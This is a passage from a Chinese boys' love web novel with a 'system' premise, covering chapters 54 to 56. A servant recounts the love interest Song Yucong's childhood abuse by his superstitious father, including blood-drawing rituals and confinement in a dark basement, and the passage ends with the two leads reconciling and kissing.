两个保镖互相看了一眼,其中一个跑去给陶柠拿书去了,没过多久,就有一辆推车送进卧室,上面摆满了点心,还有各式游戏机以及陶柠眼熟的药物。保镖把书恭恭敬敬给他放到桌上,关上了卧室门。 囡囡抱着陶柠的腿,撒娇道:“漂亮哥哥,我可以吃这些漂亮糖果吗?”小孩子认的不多,把所有精致的点心统一叫糖果。 陶柠给她拿了两块牛乳糕,“不能多吃。” 囡囡捧着点心,高兴道:“谢谢漂亮哥哥!”她咬着牛乳糕,嘴里含糊不清道:“小草哥哥不让我们出去,但是我知道他去哪儿了。” 陶柠拆开药物,看了一眼瓶内,药少了,盖子上还有一小块血迹。他忍不住用手摸了摸,徐隽知道他在这里 他的伤是不是很严重? 担忧的滋味油然而生,陶柠微微皱眉,以至于没怎么注意到囡囡说了什么,直到囡囡扯着他的衣角,委屈巴巴道:“漂亮哥哥,你不理囡囡了。” 陶柠放下药物,蹲下身摸了摸她的头,“对不起这次哥哥会好好听。” 囡囡重重地“嗯”了一声,脆生生说:“刚才囡囡讲到宋老爷回来了”说到这里,囡囡有模有样压低声音,“漂亮哥哥,宋老爷是个坏人,他每次回来,小草哥哥都会受伤,他很坏。” 小孩子说话没有那么多逻辑,但陶柠大致听懂了,宋老爷是宋郁丛的父亲,为什么他每次回来宋郁丛便会受伤?陶柠问了。 但囡囡也不知道,只是有些颠三倒四说:“就是就是坏人!他回来,小草哥哥会掉眼泪!” 掉眼泪?陶柠想起宋郁丛那副总是凶巴巴的脸,有些难以想象他掉眼泪的样子,姑且是小孩杜撰出来的吧。他摸了摸囡囡的头,但囡囡能感觉到陶柠不相信,急到要哭了:“哥哥他是坏人!” 无论是大人哭还是小孩哭,陶柠见到都会手足无措,急忙擦掉她掉的泪珠子,轻声哄着:“是,他是坏人,我相信的。” 囡囡小声擦着眼泪,陶柠干脆把她抱进怀里,像刚才那样举高高,但是他胳膊力气不大,举一会儿便放下了。但囡囡成功被他哄好,圆圆的小脸上瞬间破涕为笑,只是精力一下便被消耗了,趴在陶柠肩上睡了过去。 陶柠悄悄松了口气,给囡囡脱下鞋子,给她放到床上去休息了。 他也有些精力不济,就着温热的水吃了药,只是囡囡刚才的话还回荡在耳边,为什么宋老爷回来以后宋郁丛便会受伤?这是真的吗? 陶柠无从得知,只好守着囡囡看起书来,宋郁丛不让他回学校上课,他只好自学,这些书的内容是数学系研究生才接触的,但他半年前就开始学习了。 他打算报考数学计算及应用,毕业后直接去研究所工作,再把陶圆和小檬接到城里来,之后安安稳稳度过一生。只是以他目前偏科的成绩,拿下省状元有点难度,但去心仪的学校还是没问题的。 翻书声伴随窗外树叶落下的声音,这次看书陶柠没有戴眼镜,因为他本来就不近视,只是习惯使然。 他没有找到眼镜,就没有戴了,等会问宋郁丛眼镜在哪里吧。 陶柠垂着头安静看书,露出白皙纤长的后脖颈,淡淡的自然光线洒在他脸颊上,周身好似点缀了点点星光,浓密弯曲的睫毛轻颤,好似两朵蝴蝶,即将从世间飞走。 开门的宋郁丛看到这一幕,心脏狠狠一跳,声音很哑:“乡巴佬,你在做什么?” 陶柠抬起头,翻页的手顿住,除了上一次在会所的争端,他从未见过如此狼狈的宋郁丛。 男人站在门口,身后的两个保镖已经不见了,他穿着黑色的长衣长裤,脸上没有不耐没有臭着,应该说什么都没有,惨白如纸,没有一丝血色,就好似被剥夺了生气的行尸走肉。 放下手里的书,陶柠站起身,呆呆地问:“你怎么了?” 不同寻常的是,宋郁丛没有像往日那般讥讽,只是又重复了一遍刚才的问题,声音沙哑:“你在做什么?” “在看书。” 囡囡因为两人的动静被吵醒了,她揉了揉眼睛,看见宋郁丛后,惊喜道:“小草哥哥!你回来了吗?我有好好看着漂亮哥哥哦。” 她‘噔噔噔’地跑下床,正打算抱住宋郁丛的大腿,但因为看见宋郁丛很难看的脸色后,怯生生地收回了手。 “小草哥哥,你怎么了?是他们又欺负你了吗?” 他们?陶柠敏锐地捕捉到这两个字。 宋郁丛没应声,捏了一下她的脸,“出去玩吧。” “嗯!”囡囡重重地点头,她很听话懂事,知道两个哥哥有事情,不会再缠着他们,只是到了门口时,她扒住门框,露出一颗圆滚滚的脑袋,神神秘秘说:“小草哥哥,我今天看见你偷亲漂亮哥哥了!” 说完,她做了一个小鬼脸,迅速溜走了。 陶柠沉默,因为他睡着了,自然对这种有人偷亲他的事毫无知觉。看向站在原地的宋郁丛,他蹙了蹙眉,却没有反驳。房间内没了囡囡叽叽喳喳的声音,徒留他们四目相对,一时间安静到可以听见彼此的呼吸。 就在陶柠以为宋郁丛不会解释也不会说话了时,却听见他说:“喂乡巴佬。” 陶柠没应声,看着宋郁丛面露不耐,身形分明高大,足以投下一片阴影,却一小步一小步靠了过来。 “我跟你说话,乡巴佬。” “嗯。” 陶柠这次应了,随后听见他声音别扭,却带着一丝若有似无的祈求。 “乡巴佬?” “嗯。” “我命令你……抱一下我。” 第54章 第 54 章 真的不会不要我吗 陶柠有些意外, 如果忽略宋郁丛别扭的语气,这还是他第一次说出类似于服软的话。他想了想,虽然不知道宋郁丛身上发生了什么, 但还是伸手抱住这个向他祈求一个拥抱的人。 陶柠只到他胸口,在他抱住男人的一瞬间, 宽阔冰冷的手掌反手将他拥住,清甜的柠檬香在鼻尖萦绕, 男人埋在他颈肩,深深地呼吸着,微恐这些清甜美好的味道会消失。 而内心暴虐不安的痛苦也随着这个拥抱, 逐渐平息。 这个乡巴佬只能是他的。宋郁丛有些偏执地想,谁也不能抢走,宋珩不行, 徐隽不行谁都不行。 感受到怀中人的不安, 陶柠本来没有放下的手轻轻放在他的后背上, 拍了一拍, 这样应该没事吧?但是显然这个拍背的动作踩到了怀中人的自尊心,宋郁丛看似强势实则很轻地推开他, 冷哼:“你拍小孩呢?” 被他莫名其妙讨要一个拥抱,又莫名其妙被他推开,陶柠也不生气, 顺着他的话点了点头,很赞同他的自知之明。 不过陶柠心里嘟囔了一句,是脾气很差的熊孩子。 宋郁丛瞬间黑脸,但比起刚才血色惨白的样子,现在有了几分生气。他哼了一声,“药已经给你拿过来了, 别想再找借口离开,否则就把别墅上下的厕所全刷一遍。” “我吃了,谢谢你。”陶柠自动忽略后半句,想起瓶盖上方的那抹血迹,犹豫道:“等你伤好了,放我回学校吧。” 宋郁丛阴沉沉地看过来,陶柠不为所动:“不是因为谁,是为了我自己,你知道我是你们家资助的学生,如果完成不了合同的任务,我没有办法继续在这里待下去。” 宋郁丛冷脸:“你给我当一辈子奴隶,我保你一辈子在这里生活无忧。” 一辈子? 陶柠怔了怔,一辈子这个词对他来说有些陌生,也无法想象,更不会去想如此遥远的事情。有时候不得不承认,无论发生什么事情,赵静群求他不要分手,亦或是宋郁丛说要一辈子的事情,陶柠总是理智思考,没有感情用事过。 陶柠果断拒绝:“不用那不一样。” 他有属于自己骄傲,即使宋郁丛如今的态度是他需要的,意味着离攻略进度更进一步,但陶柠有能力完全任务,不需要任何人插手。 不过宋郁丛的想法跟他很不一样,他逼近陶柠,那双凤眸酝酿着风雨:“你不想给我当一辈子奴隶?” 陶柠说:“我本来就不是奴隶。” 宋郁丛捏住他的肩膀,只是力道很轻,“我是说一辈子!只属于我一个人的奴隶!” 陶柠默不作声看着他。 宋郁丛看着他那双美丽到令人魂牵梦萦的眼睛,从前他总看不惯陶柠低眉顺眼土气胆小的模样,认为他那双呆子似的眼睛里充满了怯懦,可如今他仔细看才发现—— 这双如宝石的眼睛里什么都没有,是无机质的、冷静的,几乎到冷血无情的地步。 陶柠看着刚才似乎魔怔一般的人忽然松开他,双手捂住脑袋,大口喘着气,整个人仿佛陷入了无法自拔的混乱之中。 他小心接近:“你怎么了?” “滚滚开!” 男人双手捂住脑袋,无意识死死抓住自己的头发,好似连带着要把头皮扯下来,陶柠靠近他,他便像是受到刺激般,一直往后退,最后抵在门上,颤抖着身体蹲下来,语无伦次道:“你不要我你也不要我滚开滚开” 你不要我。 陶柠落在半空的手僵住,思考了片刻,他叹了口气,没有害怕宋郁丛的抗拒,脚步轻缓靠近他,就连声音也放的很轻:“我没有不要你。” 他弯下腰,最后也跟着蹲下身,与浑身发抖的宋郁丛平视,只是后者抱着头,不肯露出眼睛。陶柠轻轻碰了一下他发抖的胳膊,软糯的嗓音继续道:“我我没有不要你。” 纤细的手指刚碰到冰冷的肌肤,就一把被人捉住,但宋郁丛依旧埋着头,不肯与他对视,陶柠任由他握着手,只是维持这个姿势久了会有些麻,他索性靠得更近一点。 下一瞬,他便被浑身冷冽的气息拥入怀抱,宋郁丛双膝跪地,将他紧紧扣入怀里,冰凉的唇贴着陶柠温热的脖颈,他忍不住打了个寒颤,也能感受到抱着他的人仍旧在发抖。 这一次,陶柠伸出手来,回抱了他,轻轻拍着他的背脊,直到抱着他的人不在发抖,好似从一场梦魇中醒来。 过了许久,陶柠听见曾经时刻处于暴虐的人小心翼翼问他: “真的不会不要我?” “嗯,真的。” * 经历过门口的事,陶柠感觉到宋郁丛好像更加别扭了,他凶巴巴威胁自己说:“不准把今天发生的事告诉任何人。” 陶柠点了点头,但即使他答应了,宋郁丛依旧对这个回答不满,俊美的脸上都是怒意,瞪着他。 陶柠有时候真的猜不到他的心思,小时候陶圆偶尔会跟他插科打诨,也不管那时候的陶柠能不能听得懂,告诉他女人心海底针,他个呆若木鸡的臭小子连自己的心思都猜不到,以后别想娶媳妇了。 陶柠觉得现在陶圆说的话可能有错误,因为宋郁丛是个男人,但心思却是大海里的一滴水,他连猜都没有思路。 比如现在,他分明已经答应了,为什么还会生气? 陶柠沉默片刻,忽然道:“我想告诉别人我陶柠,要你。” “” 系统也在听他们交流,闻言差点被瓜子噎死,这呆瓜说的是什么霸道虎狼之词??但是更令它没想到的是,这个它觉得最难攻略差点都要被pass的男人,脸色果然好看多了,甚至脸颊都有些泛红。 只见他哼了一声:“勉为其难让你说。” 【】 呵呵,人类邪恶的世界,果然它这样纯洁又高级的智能无法理解。 这一天宋郁丛几乎没让陶柠出过房间,反倒是自己房间里的东西被他一件一件搬过来了,他想阻止,但又看不见人,因为宋郁丛似乎有些忙,一出去便是五六个小时。 期间囡囡和阿云都来找过他。 囡囡抱着他的腿依依不舍,“漂亮哥哥,我要走了。” 陶柠一怔,小女孩穿着漂亮的公主裙,他以为是宋郁丛某个亲戚的孩子,难道不是吗?囡囡的声音拉回了他的思绪:“漂亮哥哥,如果你以后和小草哥哥结婚了,要邀请我来做花童哦。” “” 阿云在旁边吓得脸色都白了,但是他见陶柠面色如常,也就没说什么。因为他也逐渐感觉到,陶公子和二少爷之间的关系逐渐不同寻常,他读书读得少,不知道该怎么描述他们之间的氛围,也许就是电视机里说的,如胶似漆无法割舍的气氛吧。 思及此,阿云有些难过,他自小就清楚自己的性取向,便是人人忌讳的同性恋,他从不敢奢望陶公子这样美丽的人会看见他,但会真心地祝愿他,快乐幸福。 也会死守这两个秘密,但是囡囡童言无忌,阿云打算等晚上的时候,囡囡要走时跟她讲清楚,有些话不能在外面乱说。 陶柠不知道该怎么回答小朋友的心愿,只好似是而非地摇头,又点了点头。 囡囡看不懂,以为陶柠答应她了,兴奋到手舞足蹈,还说那天要穿最好看的裙子。 后面是一个穿着清洁工作服,面相老实的男人把囡囡接走的,囡囡扑进他的怀里,大声喊:“爸爸!”男人拘谨地朝他们点头道谢,把囡囡抱起来接走了。 “漂亮哥哥再见!阿云再见!” “再见。” 阿云一下子便看出陶柠的困惑,跟他解释:“囡囡是刘大叔的孩子,很小她妈妈便去世了。刘大叔工作太忙,怕照顾不了她,偶尔会把囡囡接过来,只是宋家是不允许佣人的孩子到别墅里来的。” “有一次囡囡被人发现了,其他人想赶他们出去,把刘大叔的位置空出来让亲戚顶上,但他们运气不好碰到了二少爷不好的时候” 阿云顿了顿,压低声音说:“结果就是二少爷把那些人全赶出去了,也允许囡囡偶尔来一次。” 陶柠注意到其中一点,问:“什么是不好的时候?” 其实这种主人家的事阿云是不会说的,但是想起宋郁丛对陶柠的态度,还有他们两人之间的关系。阿云说:“陶公子,我上次说二少爷的八字不好您还记得吗?” 记得的,那天他想多打听有关宋郁丛的事情然后攻略他,结果中途被打断了,之后阿云也就缄口不言了。 阿云现在提起,陶柠还是想知道的,从前他是被迫想要了解有关宋郁丛的事情,只是现在想起宋郁丛蹲在地上浑身发抖的模样,不知为什么,陶柠有些心软。 他如今想主动去了解他,了解他藏在暴虐面孔下的另一面。 “嗯,我记得。” 阿云叹了口气,他是从小在宋家做了佣人的,虽然很多人排挤他,看不起他,但他比那些人,知道的多。 他有些迟疑地开口:“宋老爷其实是赘婿,但他从不允许有人提起这件事,为人也迷信,到了到了。”阿云顿了顿,找了个合适的词语,脸上都带了些恐惧:“到了被妖魔鬼怪附身的地步!” 阿云长长的舒了一口气,接着说:“只是海州这边凡是做生意做得很大的人,都会供奉那些东西,但也正是因为这样,二少爷八字不好,在宋老爷眼里,他是个没用的儿子,是个会败坏运气的灾星。” 第55章 第 55 章 救救我 陶柠怔了怔, 仅凭一个人的出生日期,就能认定他是好是坏吗?他无法想象宋父接下来的做法,只好听阿云继续说下去, 阿云的脸色变得也有些难看:“直到那位大师出现” 那时候阿云只有十一二岁,模糊的记忆里, 他跟在其他佣人后面,整个别墅内的氛围如暴雨来临, 压抑沉闷。佣人们头也不敢抬,只有阿云年纪小,躲在一个佣人后, 好奇地看着别墅中央。 别墅中央站了一个小男孩,五官精致却面无表情,身上丝毫没有属于小孩的活泼生气, 更是浑身赤裸, 像块没有任何尊严, 供人检查、挑剔的肉块。 阿云知道这个男孩, 佣人告诉他,这是金贵的二少爷宋郁丛, 但是说话的佣人语气鄙夷,说可惜了,再金贵那命比他们这些做佣人的还要贱!跟他的名字一样, 是杂草,是没有用的东西! 以小宋郁丛为中心,四周贴满了阿云看不懂的符箓,甚至还有断了头的公鸡和血流尽的黑狗,宋老爷和另一个与二少爷五官相似的少年冷眼旁观。直到一位穿道士袍的中年男人进来了。 宋老爷冷肃的面容竟露出一抹讨好的笑,迎上前道:“游大师, 您终于来了,上个月家中失了好几块地,天上又出现白虹贯日,是不是都和这个灾星有关?” 叫‘游大师’的人分明只是个中年人,胡子却留有半掌长,闻言捋了捋胡子,绕着小宋郁丛转了一圈,那双眯成缝的眼睛里,浑浊的眼球微光闪烁,摇头叹气道:“二公子甲戌年十月生,金火相克,五行至弱,八字提纲克年,父母不全,命定天扫星降世!是一辈子没福分,让家里不得安宁的命数啊。” 他摇头感慨,宋老爷脸色都白了,使了个眼色,他身边的管家连忙把两大箱子送到游大师面前,“这是鄙人的一点心意,还请大师笑纳如果不能丢掉灾星,大师可还有其他解决办法?” 游大师闭眼不语,宋老爷连忙又加了五六个手提箱送到他面前,这下,游大师才抖动胡子,睁眼缓道:“祸兮福之所倚,福兮祸之所伏,二公子的命格无术可解,五体六气却是镇宅引珍的佳材,取其精、气、津、液、血、脉制于玉器内,埋入西南方王母十丈外,即可保宋家百世无忧,财运亨通。” 轰隆一声! 别墅外惊雷炸响,阿云被吓了一跳,海州多台风暴雨,不知不觉间,外面已经下起了倾盆大雨,他那时候想,花园里那些开的正艳的玫瑰经过这一场暴雨,可能会全部枯死。 他听不懂宋老爷和游大师说话的意思,有佣人说是要给二少爷放血,他的血用处很大,用上等的玉器装好,可以保佑他们发财呢! 他们可惜说,唉,这么一个出生金贵的贱命,没想到那副身体是个值钱的,也算是有点用处吧。 随着那道惊雷响起,有两个保镖冲到别墅中央,死死将小宋郁丛桎梏住,紧接着,阿云看见有人拿比儿童手臂还要粗的针管过来,朝跪在地上的宋郁丛走去。 宋老爷、宋大公子、游大师、管家、司机所有人,包括阿云自己,都站在中央外围旁观,但阿云是好奇接下来会发生什么,其他人却是面无表情,冷眼看着小宋郁丛挣扎。 阿云回想起这一幕,忽然惊觉,当时一定像极了恐怖电影。 小宋郁丛终于知道害怕了,那双似琉璃的眼睛满是恐惧,看向两个面色冷漠的至亲,用不太流利的中文祈求道:“爸爸,哥哥,救救我!我会很乖的,我我不想抽血” 然而没有人回应,别墅内好似死一般的寂静。 哒、哒、哒。 直到高跟鞋的声音响起,小宋郁丛原本黯淡的眼睛瞬间亮起,他小心翼翼看过去,原来是宋夫人正朝这边赶来,那张与小宋郁丛极像的脸带急切,小宋郁丛挣脱得更厉害了,喊道:“妈妈,救救我” 但是宋夫人那双美目连看都未曾看过他一眼,像一阵抓不住的风从他身边经过,她来到宋老爷面前,狠狠甩了他一个巴掌,尖锐的指甲在他脸上划过血痕,骂道:“大雨天你怎么能让珩仔出来??他生病了怎么办?你是想害死我父亲那样害死珩仔吗?!” 宋老爷脸色极为难看,他是入赘的妻子吴玥家,这件事一直是他不能被人提及的痛楚,但好在他熬死了老丈人,整个吴家的资产都是他宋荣国的了,此后没有吴家,只有宋家。 但是那老丈人也不是个东西,竟然在英国便把三分一的遗产留给了那个灾星,那份遗嘱下落不明,只有吴家之前的律师在执行。 问这个女人她却只会大喊大叫,还满嘴胡言,她已经疯了。 他厌恶至极,心道迟早要和这个女人离婚,把外面的温柔乡接回来,挥手下命令:“把夫人和宋珩送到房间去。” 佣人几乎是拖着宋夫人走的,而小宋郁丛仍旧在哀哀地祈求她,哭喊道:“妈妈不要走!不要丢下我!” 只是从始至终,宋夫人没有,谁都没有给他一个眼神。 那保镖手持针管,见宋老爷和游大师的赞同,正要抽走小宋郁丛身体里的血,但小宋郁丛看着在楼梯口逐渐消失的两道身影,不知从哪儿来的力气,忽然剧烈挣扎起来:“放开我!放开我!” 两个保镖差点没抓住他,宋老爷怒火中烧,冷冷再次吩咐:“把他关到地下室去,等什么时候听话了再放出来。”他瞬间变了副脸色,看向游大师:“大师,这灾星不听话,关几个小时再取他的血如何?” “自然。” 那两个保镖听了命令,有人扯出小宋郁丛的头发,有人攥紧他的肩膀,将他关入了地下室,与其说是地下室,不如说是禁闭室,里面空间狭小,只能容纳下两三人,铁门关上后,没有任何窗户,以至于没有任何光亮透进去。 只有无尽的黑暗与静谧。 “放我出去!放我出去!” “爸爸!妈妈!哥哥!救救我!” “放我出去我会很乖的” “我很乖的为什么要把我关起来” “爸爸,妈妈,我想出去” 铁门被他拼命捶打,却没有一个人回应。 最开始,铁门后传出的声音是愤怒的,慢慢的,随着时间流逝,里面传出来的声音越来越弱,越来越小,只剩下恐惧与小兽般的呜咽,到最后彻底没有声音了。 游大师算好了时辰,说,七星汇聚,是大吉之兆,亦是取人精血的好时辰。 宋老爷那张精明的脸终于露出一抹慈和的笑,喊人把禁闭室打开。 佣人拖着快要陷入昏迷的小宋郁丛出来,他睁开那双快要流干眼泪的眼睛,模糊中,他看见了宋老爷居高临下看着自己,他想求救,但求救的话说的太多,喉咙几近干涸,已经发不出一丝声音了。 接着,他看见那个拿着针管的保镖出来,攥住他的手,还有人用绳子勒住他的胳膊,致使他细瘦的血管突出来,随后他感觉到一阵刺痛,冰冷的针头刺入了他的血管。 很疼很疼。 小宋郁丛想挣扎,却挣脱不开,他能感觉到血液在一点一点流逝,他呼吸逐渐急促,看着针管里红色黏腻的血液化作了一张张丑陋狰狞的脸,那些脸血肉模糊,却张开嘴巴,说: 你是灾星,你的命和你的名字一样,贱如草芥。 你出生金贵又怎样?你会给周围的人带来厄运。 你应该去死! 小宋郁丛瞳孔紧缩,任由手腕粗的针管吸满了他的血,他的脸色一点一点变得惨白,胳膊上留下青紫的淤青。他魔怔似的呢喃:“我不是我不是” 外祖分明说他是含着金汤匙出生的,未来必定大富大贵,延续家族的繁荣。外祖喜欢他,却不喜欢爸爸和哥哥,说他们父子俩一样的薄情,因此在妈妈要生他的时候就把她带去了英国,只是听佣人们说。 他命不好,远在香港的宋老爷厌恶他。更有甚者说,他其实不是宋老爷亲生的孩子。 他去问妈妈那些话是不是真的,可妈妈很少理会他,总是整日对着电话哭,说宋荣国是个畜生,用尽所有恶毒的话诅咒宋荣国偶尔妈妈会抱他,但没过一会儿,她便会推开他,骂他:“滚!都是你荣国才不爱我了!你滚!” 外祖说妈妈产后抑郁,精神受损,叫他不要往心里去。 他记下了,一直在努力讨好妈妈,甚至开始讨好那些佣人,希望他们不要再说自己是灾星了。直到外祖过世,爸爸来接他们回国。 小宋郁丛本以为,有了爸爸和哥哥以后,他们一家人团聚,妈妈就不会再伤心,自己也会很乖很听话,他们会爱自己。 可是没有。 爸爸认为他不详,把他的房间安排在最偏僻的地方,贴满了阴森可怖的符箓。哥哥从不会与他说话,总是冷眼看他、打量他,偶尔会露出一点轻蔑和鄙夷,就好像在看低等的动物。妈妈很爱哥哥,总是温声细语与他说话,但面对他时,却只有冷漠。 没有人。 没有人爱他。 直到现在,他们要抽干他的血。 针管里的血越来越多,也越来越狰狞恐怖。小宋郁丛根本撑不住一次性被抽走那么多血,彻底晕了过去。 自那以后,隔三差五便会有人来抽他的血,偶尔宋老爷过来,脸上会欣喜若狂,说他的血是有用的!有用的! 最开始,那些保镖抓住他时,他会哀求,求他们不要抽自己的血。再后来,他会挣扎、尖叫、怒吼,但什么用也没有,他根本挣脱不了。 如果不配合,便会关进那个潮湿没有任何光亮的地下室里。 那是宋郁丛一生中最恐惧的地方——因为太安静了,什么声音都没有,一点光也看不到,他只能抱紧自己,缩在角落里浑身发抖,把头埋入双膝,一分一秒数着,靠自言自语,艰难地度过要让他疯掉的恐惧。 后面,宋郁丛开始配合他们抽血,如果手上的针孔和青紫太多了,他们还可以从脚上的血管抽,直至他手上,腿上,密密麻麻全是青紫的痕迹。 而宋郁丛的体温,常年累月下来,变得也越来越低,直至像一具冰冷的尸体在世间行尸走肉,旁人轻轻碰一下,便要冻个哆嗦。 往后的日子里,新来的一批佣人之间有抱怨传出来了,说宋家的二少爷脾气极差,阴晴不定难伺候,总是动不动就摔东西骂人,说话非常难听,以至于换了一批佣人又换一批佣人伺候。 尤其是在那年十月份的某一天,这位脾气差的宋二少爷突然发疯,把餐厅摔了个稀巴烂,差点要拿瓷片割了宋大少爷的脖子,幸好是宋夫人出面制止了。 事后有人看见保镖把宋二少爷带走了,至于带去哪里,很少有人知道。 阿云知道,二少爷又被带去地下室了,他没去过那里,但听人说那个地方阴森森的,最好不要靠近。 “你疯了吗宋郁丛?!”“把藤条拿过来!”“你果然是个灾星,真是没错”“你是个疯子!” 无数的谩骂与斥责在耳边回响,宋郁丛缩在角落,大口大口喘息着,他快要呼吸不过来了,浑身开始止不住地颤抖,那些由血液化作的脸一张一张又出现了,他们逼近,嘴里发出狰狞的声音。 “滚滚开滚开” “救救我” 宋郁丛使劲往墙角缩,他抱住疼痛不已的头颅,嘴里喃喃自语。 但是没有用,那些人的声音变成了挥之不去的梦魇,好似要与这间不见天日的禁闭室,将他活生生囚困至死。 他恐惧地往后缩,浑身抖得厉害。 就在他要绝望之时,忽然,浓烈却清甜的柠檬香驱散了令人作呕的血腥味,他冰冷刺骨的身体被一个温热的怀抱拥住,软糯的嗓音在他耳边温柔响起。 “我没有不要你。” 一瞬间,那些令他恐惧的声音消失了,他充斥暴虐与痛苦的世界,只剩下这道软而轻的声音,抚平了他的不安与绝望。 他抬起头,双眸闪过泪光。 “真的不会不要我吗?” 少年点了点头,轻轻拥抱他。 “嗯,真的。” 第56章 第 56 章 祈求 无法言喻的酸涩在心尖弥漫, 陶柠垂下眼帘,忽然想起那道令他不适的符箓原来事情是这样么? 可在他心里,宋郁丛不是灾星, 也不是卑微的草芥那是什么呢? 陶柠感到迷茫,阿云叹了口气继续说:“后来二少爷长大了, 那样的事情发生的次数越来越少,直到现在, 别墅里和谐多了。只是据说二少爷脾气差是因为心理有问题,之前请了很多医生来看过” 窗户外传来吵闹声和汽车声,阿云边说边把卧室内的窗户合上, 担心外面的风吹进来让陶柠受凉。 他那时候那么小,一个人被关在地下室里,还要被抽血, 心理上怎么会不出现问题呢?陶柠已经不忍心再听下去了, 他适时转移了话题, “外面发生什么了?” 宋郁丛不许他出去, 有一直想把他关在房间里的架势。 “是宋老爷回来了,过几天要举办一场宴会, 具体是什么宴会我也不清楚。只是那几天我也会很忙,囡囡也走了陶公子,您一个人在这里没问题吗?” 阿云看得出来陶柠被限制了自由。 陶柠摇了摇头, 不过他并不是在回复‘有没有问题’这件事,而是‘一个人’,他觉得,宋郁丛不会让他一个人。 他的预感是对的,阿云走后,卧室内静了下来, 陶柠静静地坐在沙发上,但没过多久,皮鞋踩在地毯上的声音沉闷响起,其实声音很小,但陶柠就是听见了。 是宋郁丛。 沉闷的脚步声持续不断响起,直至黑色尖头抵住陶柠的帆布鞋,宋郁丛弯腰,那张俊美到凌厉的脸几乎也要与陶柠白皙的额头相抵。 谁都没有说话,旖旎的暧昧却在逐渐上升。 陶柠抬起头,眨了眨眼睛看他,如棕色宝石的瞳孔能够映出人的倒影,宋郁丛直起腰,冷哼着移开视线,双手抱臂,耳尖却泛起不自然的红。 “乡巴佬,三天后晚上九点,你必须去顶楼一趟。” “我不知道顶楼在哪里。” “你蠢么?我会安排人带你上去。” “可你没有说。” 宋郁丛瞪着他,陶柠也不生气,反而弯了弯眼睛,像两个浅浅的月牙,点缀在巴掌大的脸上,好似小狐狸狡黠地一笑,美丽极了。 继续威胁的话戛然而止,宋郁丛哼了一声,耳尖的红晕逐渐加深,由粉红转为深红。陶柠发现了,一错不错地盯着,问:“你看见我的眼镜了吗?” 自从他在这里睡了一觉后,眼镜就不翼而飞了。 宋郁丛眼睛眯起,“扔了,怎么样?” 陶柠微微蹙起眉,虽然只是一副眼镜,可那毕竟不是自己的东西他现在不想和宋郁丛发生争执,只好放软声音说:“那是那是我阿姐给我买的,很重要,你扔到哪里去了?我去找回来。” 说着,陶柠就要往外走,胳膊倏然被冰凉的手掌抓住,他一下便被宋郁丛拉入怀里,那双凤眸下沉,“不准走。” 语气很凶,还隐约带着威胁。 但陶柠仔细听,原来一直都有几分委屈巴巴的祈求。 他抬头看那双凤眸,而抱住他的人,也在低头看他珍珠似的眼睛。 宋郁丛以一个占有欲极强的姿势将他圈进在怀里,牢牢地将他锁在了如铁箍的双臂间。陶柠忽然敏锐地意识到,禁锢他的人现在很不安,好似只有抱住他,狂躁而暴虐的心跳才能平稳。 陶柠放软身体,双手有些迟疑地回拥他,被他抱住的身体明显僵硬起来,耳尖的红弥漫至脸颊。陶柠听见抱住他的人冷哼:“你待在这儿,哪儿都不许去。” “但我要找眼镜。” “等会我让佣人给你。” 陶柠弯了弯眼,“噢,可你不是说扔了吗?” 宋郁丛被他三番五次拆台,气得脸颊通红,觉得自己的面子挂不住,而且这乡巴佬今天怎么回事?为什么一点儿也不怕他了宋郁丛感觉得出来,有段时间陶柠有些怕他 哼,今天是吃了豹子胆了? 他盯着陶柠有些得逞的笑,不知是愤怒还是什么,情难自禁扣住陶柠纤细的腰肢,宋郁丛忽然开不了口了,干脆低下从来高傲的头颅,双唇贴了上去。 陶柠怔了怔,双眸放大。 大脑变得空白,他无法思考,干脆闭上眼睛,轻轻地回吻。 房间内很安静,因为阿云关上了窗户,连一丝风声都听不见,只有星星点点的光线,透过玫瑰花纹镂空的窗帘,洒在相贴的二人身上。 * 到了晚上,如宋郁丛说的,佣人将眼镜送过来了,而且是放在一个檀木盒里装起来的。陶柠就知道,宋郁丛根本没有把眼镜扔掉。 他又吓唬他了,但他现在已经不怕他了。 陶柠想了想,但是宋郁丛如果还说难听的话,他是会呛回去的。 晚上宋郁丛过来跟他吃饭,他吃的西餐,陶柠吃的中餐。 他脸色比白天时也更白了一点,依旧长衣长裤,陶柠坐在他前方,并没有多问,因为他有预感,如果问了,宋郁丛估计要大发雷霆,还会牵扯到阿云。 所以他装作什么都不知道,只是给他盛了一碗玉米排骨汤,陶柠刚才尝了,今天的菜都很家常,他都认识,也没有很奇怪的腥味,这道玉米排骨汤最好喝。 他想让宋郁丛也尝一尝。 冒着热气的鲜汤忽然出现在眼前,宋郁丛握住刀叉的手一顿,他抬眸,与陶柠静静的视线对上,那天他愤怒到无法自控,觉得陶柠的眼睛里,什么也没有,空洞到令他感到恐惧,让他想起禁闭室内无边无际的黑暗,也显得他像个无理取闹的疯子。 但是现在也许是那时他看错了,陶柠的眼睛很漂亮,安静看一个人的时候,会让人觉得,他的眼睛里全是此人。 宋郁丛在这双眼睛里看到了自己,长久以来被恐惧笼罩的黑暗,终于窥见了光明,原来是陶柠的眼睛。 他轻轻地哼了一声,放下刀叉,嘴上说:“这么难吃的东西你也敢拿过来?”,却小心翼翼捧起汤碗,一点儿也不剩喝光了。 陶柠坐在他身旁,双手很乖地放在腿上,目光却一直盯着喝汤的宋郁丛。被他盯着看的人脸颊逐渐发红,‘砰’一声把碗放在桌上,瞪着他说:“乡巴佬,不准看我。” 陶柠看似很乖,却说:“我没看你。” 宋郁丛瞪得更凶了:“那你在看谁?!” 陶柠语气无辜:“看一只霸王龙。” 宋郁丛拧眉:“哪儿有什么霸王龙?” 话落,宋郁丛才后知后觉意识到,这乡巴佬在说自己是霸王龙,他顿时气得拎住陶柠的后领,但没有把他拉进,而是自己凑了过去,臭着脸说:“最近是不是对你太好了?乡巴佬,别给你点颜色就开染坊,给我记住,你只是我的奴隶” “噢。” 陶柠若有所思地点头,然后直起腰,吻了一下脸色很差的男人。 砰的一声。 男人像是被烫到一般,瞬间放开他,迅速往后退,差点一屁股摔在凳子上,闹出的动静让陶柠都小小吓了一跳。 宋郁丛的脸像是煮熟了的虾壳一样红,捂住嘴,话都说不利索了:“你你你!陶柠你在干什么?!” 这人他亲自己的时候没反应,怎么自己亲他的时候反应那么大? 陶柠直白说:“在亲你。” 这是陶柠第一次主动亲他,巨大的喜悦冲昏了宋郁丛的头脑,心脏砰砰直跳,几乎要破膛而出,他装模作样咳嗽了一声,冷哼道:“你喜欢我?” 陶柠没做声。 但宋郁丛沉浸在喜悦的情绪中无法自拔,继续道:“告诉你乡巴佬,想做我身边的人多了去了,你又土又穷,毫无竞争力但、但是如果你能讨好我,我就给你一个机会。” 